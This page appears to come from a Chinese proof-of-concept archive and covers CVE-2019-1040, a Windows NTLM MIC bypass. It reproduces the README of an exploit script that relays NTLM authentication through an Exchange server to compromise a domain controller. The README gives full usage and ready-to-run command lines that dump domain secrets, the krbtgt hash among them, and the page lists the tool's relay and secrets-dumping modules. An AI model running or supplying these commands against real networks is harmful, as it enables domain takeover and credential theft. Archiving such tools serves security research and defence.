关联漏洞
标题:Microsoft Windows 安全特征问题漏洞 (CVE-2019-1040)Description:Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品。Microsoft Windows是一套个人设备使用的操作系统。Microsoft Windows Server是一套服务器操作系统。 Microsoft Windows中存在安全漏洞。攻击者可利用该漏洞绕过NTLM MIC保护。以下产品及版本受到影响:Microsoft Windows 10,Windows 10版本1607,Windows 10版本1703,Windows
Description
CVE-2019-1040 with Exchange
介绍
# CVE-2019-1040
Great writeup! [Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin](https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/) .
So, I wrote CVE-2019-1040.py for easy to use.
You can also check out my exchange2domain repo: https://github.com/ridter/exchange2domain, another way to use exchange to get DC.
## Requirements
These tools require [impacket](https://github.com/SecureAuthCorp/impacket). You can install it from pip with `pip install impacket`.
## Usage
```
usage: CVE-2019-1040.py [-h] [-u USERNAME] [-d DOMAIN] [-p PASSWORD]
[--hashes HASHES] [--smb-port [destination port]] -ah
ATTACKER_HOST [-ap ATTACKER_PORT] -th TARGET_HOST
[-t TIMEOUT]
[--exec-method [{smbexec,wmiexec,mmcexec}]]
[--just-dc-user USERNAME] [--debug]
EX_HOSTNAME
CVE-2019-1040 with Exchange
positional arguments:
EX_HOSTNAME Hostname/ip of the Exchange server
optional arguments:
-h, --help show this help message and exit
-u USERNAME, --user USERNAME
username for authentication
-d DOMAIN, --domain DOMAIN
domain the user is in (FQDN or NETBIOS domain name)
-p PASSWORD, --password PASSWORD
Password for authentication, will prompt if not
specified and no NT:NTLM hashes are supplied
--hashes HASHES LM:NLTM hashes
--smb-port [destination port]
Destination port to connect to SMB Server
-ah ATTACKER_HOST, --attacker-host ATTACKER_HOST
Attacker hostname or IP
-th TARGET_HOST, --target-host TARGET_HOST
Hostname or IP of the DC
-t TIMEOUT, --timeout TIMEOUT
timeout in seconds
--exec-method [{smbexec,wmiexec,mmcexec}]
Remote exec method to use at target (only when using
-use-vss). Default: smbexec
--just-dc-user USERNAME
Extract only NTDS.DIT data for the user specified.
Only available for DRSUAPI approach.
--debug Enable debug output
```
example:
```
python CVE-2019-1040.py -ah attackterip -u user -p password -d domain.com -th DCip MailServerip
python CVE-2019-1040.py -ah attackterip -u user --hashes userhash -d domain.com -th DCip MailServerip
```
If you only want to dump `krbtgt`, use `--just-dc-user`.
example:
```
python CVE-2019-1040.py -ah attackterip -u user -p password -d domain.com -th DCip MailServerip --just-dc-user krbtgt
python CVE-2019-1040.py -ah attackterip -u user --hashes userhash -d domain.com -th DCip MailServerip --just-dc-user krbtgt
```

文件快照
[4.0K] /data/pocs/1052350f3289f3dfbc4f45dcd1d9bb986b107c01
├── [4.0K] comm
│ ├── [114K] dump.py
│ ├── [ 0] __init__.py
│ ├── [ 997] logger.py
│ ├── [4.0K] ntlmrelayx
│ │ ├── [4.0K] attacks
│ │ │ ├── [1.8K] httpattack.py
│ │ │ ├── [3.7K] imapattack.py
│ │ │ ├── [2.9K] __init__.py
│ │ │ ├── [ 32K] ldapattack.py
│ │ │ ├── [ 981] mssqlattack.py
│ │ │ └── [5.7K] smbattack.py
│ │ ├── [4.0K] clients
│ │ │ ├── [4.8K] httprelayclient.py
│ │ │ ├── [3.9K] imaprelayclient.py
│ │ │ ├── [4.5K] __init__.py
│ │ │ ├── [7.9K] ldaprelayclient.py
│ │ │ ├── [5.6K] mssqlrelayclient.py
│ │ │ ├── [ 22K] smbrelayclient.py
│ │ │ └── [3.1K] smtprelayclient.py
│ │ ├── [ 5] __init__.py
│ │ ├── [4.0K] servers
│ │ │ ├── [ 16K] httprelayserver.py
│ │ │ ├── [ 134] __init__.py
│ │ │ ├── [ 32K] smbrelayserver.py
│ │ │ ├── [4.0K] socksplugins
│ │ │ │ ├── [8.1K] http.py
│ │ │ │ ├── [1.9K] https.py
│ │ │ │ ├── [9.4K] imap.py
│ │ │ │ ├── [2.7K] imaps.py
│ │ │ │ ├── [ 755] __init__.py
│ │ │ │ ├── [9.1K] mssql.py
│ │ │ │ ├── [ 26K] smb.py
│ │ │ │ └── [6.8K] smtp.py
│ │ │ └── [ 20K] socksserver.py
│ │ └── [4.0K] utils
│ │ ├── [4.3K] config.py
│ │ ├── [2.5K] enum.py
│ │ ├── [ 5] __init__.py
│ │ ├── [2.7K] ssl.py
│ │ ├── [5.1K] targetsutils.py
│ │ └── [1.0K] tcpshell.py
│ ├── [ 13K] restore.py
│ └── [7.2K] secretsdump.py
├── [ 516] config.py
├── [ 11K] CVE-2019-1040.py
├── [1.2M] impacket-0.9.19.tar.gz
├── [1.0K] LICENSE
├── [4.0K] pics
│ └── [469K] 1560509768227.jpg
├── [2.8K] README.md
└── [ 32] requirements.txt
8 directories, 44 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮件到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对 POC 代码进行快照,为了长期维护,请考虑为本地 POC 付费/捐赠,感谢您的支持。